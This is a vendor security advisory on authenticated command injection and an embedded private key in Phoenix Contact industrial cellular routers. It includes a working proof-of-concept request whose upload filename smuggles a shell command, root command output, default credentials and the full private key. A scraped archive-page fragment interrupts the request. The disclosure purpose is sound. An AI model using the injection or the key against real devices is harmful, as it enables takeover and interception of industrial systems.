# Phoenix Contact TC Router / TC Cloud Client Command Injection

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Posted Mar 14, 2020

Phoenix Contact TC Router and TC Cloud Client versions 2.05.3 and below, 2.03.17 and below, and 1.03.17 and below suffer from authenticated command injection and various other vulnerabilities.

tags | exploit, vulnerability
advisories | CVE-2020-9435, CVE-2020-9436
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SEC Consult Vulnerability Lab Security Advisory < 20200312-0 >
=======================================================================
               title: Authenticated Command Injection
             product: Phoenix Contact TC Router & TC Cloud Client
 vulnerable version: <=2.05.3 & <=2.03.17 & <=1.03.17
       fixed version: 2.05.4 & 2.03.18 & 1.03.18
          CVE number: CVE-2020-9436, CVE-2020-9435
              impact: High
            homepage: https://www.phoenixcontact.com/
               found: 2020-01-23
                  by: T. Weber (Office Vienna)
                      SEC Consult Vulnerability Lab

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Vendor description:
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"Phoenix Contact is a globally present, Germany-based market leader. Our group
is synonymous with future-oriented components, systems, and solutions in the
fields of electrical engineering, electronics, and automation. A global network
across more than 100 countries and 15,000 employees ensure close proximity to
our customers, which we believe is particularly important."

Source:
https://www.phoenixcontact.com/online/portal/pc?
1dmy&urile=wcm%3apath%3a/pcen/web/corporate/company/subcategory_pages/Who_we_are/


Business recommendation:
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The vendor provides a patch which should be installed immediately.

SEC Consult recommends to perform a thorough security review of these products
conducted by security professionals to identify and resolve all security issues.


Vulnerability overview/description:
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1) Known BusyBox Vulnerabilities
The used BusyBox toolkit in version 1.18.5 is outdated and contains multiple
known vulnerabilities. The outdated version was found by IoT Inspector.
One of the discovered vulnerabilities (CVE-2017-16544) was verified by using
the MEDUSA scalable firmware runtime.

2) Authenticated Command Injection (CVE-2020-9436)
An authenticated command injection vulnerability can be triggered by issuing a
POST request to the "/cgi-bin/p/adm/cfg" CGI program which is available on the
web interface. An attacker can abuse this vulnerability to compromise the
operating system of the device. This issue was found by emulating the firmware
of the device.

3) Embedded Private X.509 Certificate (CVE-2020-9435)
The device contains a hardcoded certificate which can be used to run the web
service. This certificate is used for HTTPS (default server certificate for
web based configuration and management).

Impersonation, man-in-the-middle or passive decryption attacks are possible.
These attacks allow an attacker to gain access to sensitive information like
admin credentials and use them in further attacks.


Proof of concept:
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1) Known BusyBox Vulnerabilities
BusyBox version 1.18.5 contains multiple CVEs like:
CVE-2016-6301, CVE-2014-9645 and CVE-2013-1813.

The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on
an emulated device:

A file with the name "\ectest\n\e]55;test.txt\a" was created to trigger the
vulnerability.
-------------------------------------------------------------------------------
# ls "pressing <TAB>"
test
]55;test.txt
#
-------------------------------------------------------------------------------

2) Authenticated Command Injection (CVE-2020-9436)
An authenticated command injection is possible via a crafted POST request.

The configuration upload form in the web-interface can be used to upload an XML
configuration file. The filename of this XML file can be modified with an
interceptor proxy in order to inject system commands. The JavaScript code which
is used to do client-side filtering can be bypassed in this way. Because of
blacklisting of some characters, the ${IFS} command must be used for adding
whitespaces.

Request:
-------------------------------------------------------------------------------
POST /cgi-bin/p/adm/cfg HTTP/1.1
Host: $IP
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary---------------------------108344332512083293852525134 88
Content-Length: 724
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: no-transform

-----------------------------108344332512083293852525134 88
Content-Disposition: form-data; name="exportmode"

0
-----------------------------108344332512083293852525134 88
Content-Disposition: form-data; name="xmlmode"

on
-----------------------------108344332512083293852525134 88
Content-Disposition: form-data; name="importmode"

0
-----------------------------108344332512083293852525134 88
Content-Disposition: form-data; name="cfg_upload"; filename="config.xml;ls${IFS}-la"
```



## File Archive: December 2022 <

| Su | Mo | Tu | We | Th | Fr | Sa |
|---|---|---|---|---|---|---|
| | | | | 1 | 2 | 3 |
| 4 | 5 | 6 | 7 | 8 | 9 | 10 |
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Slackware (941)
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```
Content-Type: application/octet-stream



text

-----------------------------108344332512083293852521348 8
Content-Disposition: form-data; name="cfg_submit"


-----------------------------108344332512083293852521348 8--



Response from the web-server:


HTTP/1.0 200 OK
Content-Type: text/html
Cache-Control: no-cache

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"><meta http-equiv="Cache-Control" content="no-cache">
<style>
/* CSS main */

body
{
  font-family: verdana, arial, helvetica, sans-serif;
  font-size: 12px;
}
[...snip...]
.TextWarning
{
  vertical-align: middle;
  color: #FF4000;
}
</style>
<title>Configuration up-/download</title>
</head>
<body>
<pre>xml parsed
setup new config done
total 499
drwxr-xr-x    2 root     root          1024 Jan 28  2020 .
drwxr-xr-x    3 root     root          1024 Jan 28  2020 ..
-rwxr-xr-x    1 root     root          5544 Jan 28  2020 atcmd
-rwxr-xr-x    1 root     root          9624 Jan 28  2020 basicsetup
-rwxr-xr-x    1 root     root          9012 Jan 28  2020 cfg
-rwxr-xr-x    1 root     root          7396 Jan 28  2020 conchk
-rwxr-xr-x    1 root     root          9128 Jan 28  2020 ddns
-rwxr-xr-x    1 root     root         14504 Jan 28  2020 dhcp
-rwxr-xr-x    1 root     root          4776 Jan 28  2020 dmesg
-rwxr-xr-x    1 root     root          6040 Jan 28  2020 edit_email
-rwxr-xr-x    1 root     root          6648 Jan 28  2020 edit_sms
-rwxr-xr-x    1 root     root         18288 Jan 28  2020 fw
-rwxr-xr-x    1 root     root         10560 Jan 28  2020 gprs
-rwxr-xr-x    1 root     root         12268 Jan 28  2020 gsm
-rwxr-xr-x    1 root     root          6784 Jan 28  2020 gsmlog
-rwxr-xr-x    1 root     root         11172 Jan 28  2020 io
-rwxr-xr-x    1 root     root          9812 Jan 28  2020 ipscert
-rwxr-xr-x    1 root     root          7604 Jan 28  2020 ipscon
-rwxr-xr-x    1 root     root          9928 Jan 28  2020 ipsike
-rwxr-xr-x    1 root     root         16728 Jan 28  2020 ipsset
-rwxr-xr-x    1 root     root         13808 Jan 28  2020 lanif
-rwxr-xr-x    1 root     root          5528 Jan 28  2020 leases
-rwxr-xr-x    1 root     root          6512 Jan 28  2020 log
-rwxr-xr-x    1 root     root          9656 Jan 28  2020 masqtbl
-rwxr-xr-x    1 root     root          5313 Jan 28  2020 mdmupl
-rwxr-xr-x    1 root     root         17912 Jan 28  2020 napt
-rwxr-xr-x    1 root     root          7704 Jan 28  2020 ovpnadvanced
-rwxr-xr-x    1 root     root          9656 Jan 28  2020 ovpncert
-rwxr-xr-x    1 root     root          6524 Jan 28  2020 ovpncon
-rwxr-xr-x    1 root     root          7856 Jan 28  2020 ovpnkey
-rwxr-xr-x    1 root     root         13012 Jan 28  2020 ovpnnapt
-rwxr-xr-x    1 root     root         19732 Jan 28  2020 ovpntunnel
-rwxr-xr-x    1 root     root          4760 Jan 28  2020 phonebook
-rwxr-xr-x    1 root     root          8284 Jan 28  2020 reboot
-rwxr-xr-x    1 root     root          5956 Jan 28  2020 routes
-rwxr-xr-x    1 root     root         10840 Jan 28  2020 rtc
-rwxr-xr-x    1 root     root          6928 Jan 28  2020 security
-rwxr-xr-x    1 root     root         17860 Jan 28  2020 sim
-rwxr-xr-x    1 root     root          7080 Jan 28  2020 sms
-rwxr-xr-x    1 root     root          7960 Jan 28  2020 smtp
-rwxr-xr-x    1 root     root          7048 Jan 28  2020 snmp
-rwxr-xr-x    1 root     root          5964 Jan 28  2020 socksrv
-rwxr-xr-x    1 root     root          9632 Jan 28  2020 sroute
-rwxr-xr-x    1 root     root         14668 Jan 28  2020 srvfw
-rwxr-xr-x    1 root     root          5456 Jan 28  2020 sshconfig
-rwxr-xr-x    1 root     root         11224 Jan 28  2020 sysconfig
-rwxr-xr-x    1 root     root         19996 Jan 28  2020 test
-rwxr-xr-x    1 root     root          4712 Jan 28  2020 update
-rwxr-xr-x    1 root     root            73 Jan 28  2020 upload
-rwxr-xr-x    1 root     root            30 Jan 28  2020 upremove
-rwxr-xr-x    1 root     root          7132 Jan 28  2020 user
-rwxr-xr-x    1 root     root          9672 Jan 28  2020 webcert
-rwxr-xr-x    1 root     root         10932 Jan 28  2020 webconfig
</pre><pre>please reboot next</pre>
</body>
</html>



3) Embedded Private X.509 Certificate (CVE-2020-9435)
The X.509 certificate was found on more than one device on Censys.io:
SHA256 fingerprint: 8ca503b99f7eadc839747dfe612b256efcdc4e01bbf5757c0fb663e5a22836b8

-----BEGIN PRIVATE KEY-----
MIISvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDm6jUy8KLYSPXo
BiPx8LAlVcV4/6+pi+d4KzH6rvSoREYrjpa1UMGkmoAdtbkr3qzvrLMP0s7tDOQB
YfH4OulQvEWgN5iWGz+TONXbeg7p+ZjD63Cu+tu9Knj5ZoZ7zDVgOF2UaVVrQkpH
CYXagnaplnQCbc1DiuvG8ha9ICaWuf7upNPiNpgdiGqrPwaqSCYhmi7K7Ej4dOpZ
5Ji/LKxCGjokVpxlYgbJbNMtrBXdBjsVh8WMImxQe7g00CQhMIK6YfE7eOsXDTLP
ZDXIbf42emJ84kpU57ISI9rulgmt7Jkl0EJlTwyMV/9NUXavpf15LnpKnkXK0Ez/
Fu5erzVBAgMBAAECggEBAMP65yfSwAMc+UfxXjSK+JTXVQA60ZXuXYfJ8WM3dgIR
4BQ7snOgNJGh8TZF82DeXpwUUO0PF/xsw17CCCIMssmg4N74EJLlkXGb/TWHHH0k
D5nIixYXYEQOdhoGAAG18V82t4WaWIjt/ClKVo27z8ZjIRamp1263B0/fjk7vnaQ
zDzeF0Pnh9UAyjJQiec6wEPO2FUmU0XHgWOylzTUm+kWPg3de4SNA6kpSbOFKM4y
xjdVUBK6ECT42EaJK5Ie3Fk3wKH1lHQSYr2wRkC3VbN9XU4qUiOeQzNgAX5FRaBd
EgyulgkJvOOiKCmBB3hyoJA8eipyMoOtuWRJnO0aRBkCgYEA/q2rfYIUn/OA3iPe
809eJoLsMI4ACOf46W4irskoOF1qRZ0WJZtbIY3vcsw+m+sKYZW8RyUr19UoOhVT
yYMNlhwWOyztvp+jembEiS1XaW9K5gfV7Z/+KAenGjd/MLvRB5GU9Yt0knyYSQwP
rcQgE/Pgr19o++eZmy+letzxAD8CgYEA6COT0AmOECGrIm+rR4VY1vMaT1V/RTpY
WOfo7gExbyBj45vrTWENGmlrAthOXwYLHADAan3bOrw3fprAmWrc1dhHC3+IKjrn
mqOv/rWzpN1WRbehNJd0VmcTI9M1XDONTbrs44cvN+Fpt88gxXFkDTRZs7onMPz5
eOCNdGV6an8CgYB215htrfve9e8pBPmaxHarZsOKZUc83pN8Wq9KSSIzBcYtP1gG
EZDiUpCWHOp3gIGoKqyxUW0426tNSYtoyGC2bMQpsOXTpdLjeSLEY9pWnt75u+JO
NNOPXukCe5//WSii5rjBlb2nTuGBohlXKoRp5mTYJ43j6uiO4ywYWPbfzwKBgQDN
RMBswlfNt+fbAIGlMZl/hSHrqv9qWMhMfW00ICv1Rt/tIS91c0Kwbgs1ut26Gt7y
A/EtOXMEWfAUbIUIZD04fxF7cobg+8tWq4lxnnxmuS2TYmqS2CYQTP7u+fASvmV
FUhpfVlcfV99IJOq47SEFJmJWn9TSy7SG0Y2+a3kwwKBqEKATr+IAy04ASrtOfZZ
ySc5PbttVW1qMJd+BpyaXPa2qf7w/jELbOCfu4qel7qD2yufgyOzurikFfNayVbt
xkOmyj24eKmwHKH+zmUy63i+kqiRqXUpypmFQzPRf7LQXYPZEv7IkVP/+ney4G9T
a0lMlut6+lo9FLcqrnZk9uLY
-----END PRIVATE KEY-----


Vulnerable / tested versions:
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The following firmware version has been tested:

* TC Router 3002T-4G ATT / 2.05.3
* TC Cloud Client 1002-TX/TX / 1.03.17

According to the vendor, the following devices are affected as well:

Article name                Article number   Affected versions
TC ROUTER 3002T-4G          2702528          <= 2.05.3
TC ROUTER 3002T-4G          2702530          <= 2.05.3
TC ROUTER 2002T-3G          2702529          <= 2.05.3
TC ROUTER 2002T-3G          2702531          <= 2.05.3
TC ROUTER 3002T-4G VZW      2702532          <= 2.05.3
TC ROUTER 3002T-4G ATT      2702533          <= 2.05.3
TC CLOUD CLIENT 1002-4G     2702886          <= 2.03.17
TC CLOUD CLIENT 1002-4G VZW 2702887          <= 2.03.17
TC CLOUD CLIENT 1002-4G ATT 2702888          <= 2.03.17
TC CLOUD CLIENT 1002-TXTX   2702885          <= 1.03.17


Vendor contact timeline:
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2020-01-29: Sent advisory to vendor via PGP through psirt@phoenixcontact.com;
            Vendor confirmed to receive the advisory.
2020-02-26: Vendor stated that the vulnerabilities were confirmed and that a
            firmware upgrade will be available in the next days.
2020-02-29: Asked vendor for further affected devices and firmware versions.
2020-03-02: Received information about further affected devices and firmware
            versions from vendor. The release of the new firmware version is
            planned for the end of the week. CVE numbers were requested by
            the vendor.
2020-03-05: Found new firmware version numbers on the vendor's website. Asked
            the vendor about the status regarding CVE numbers.
2020-03-05: Received CVE numbers.
2020-03-12: Coordinated release of security advisory.


Solution:
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Update the firmware of the affected devices to 1.03.18, 2.03.18 or 2.05.4.

The new versions can be downloaded from the firmware page:
https://www.phoenixcontact.com/online/portal/us?
1dmy&urile=wcm%3apath%3a/usen/web/main/service_and_support/application_pages/Firmware/Firmware


Workaround:
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Restrict network access to the device.


Advisory URL:
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https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


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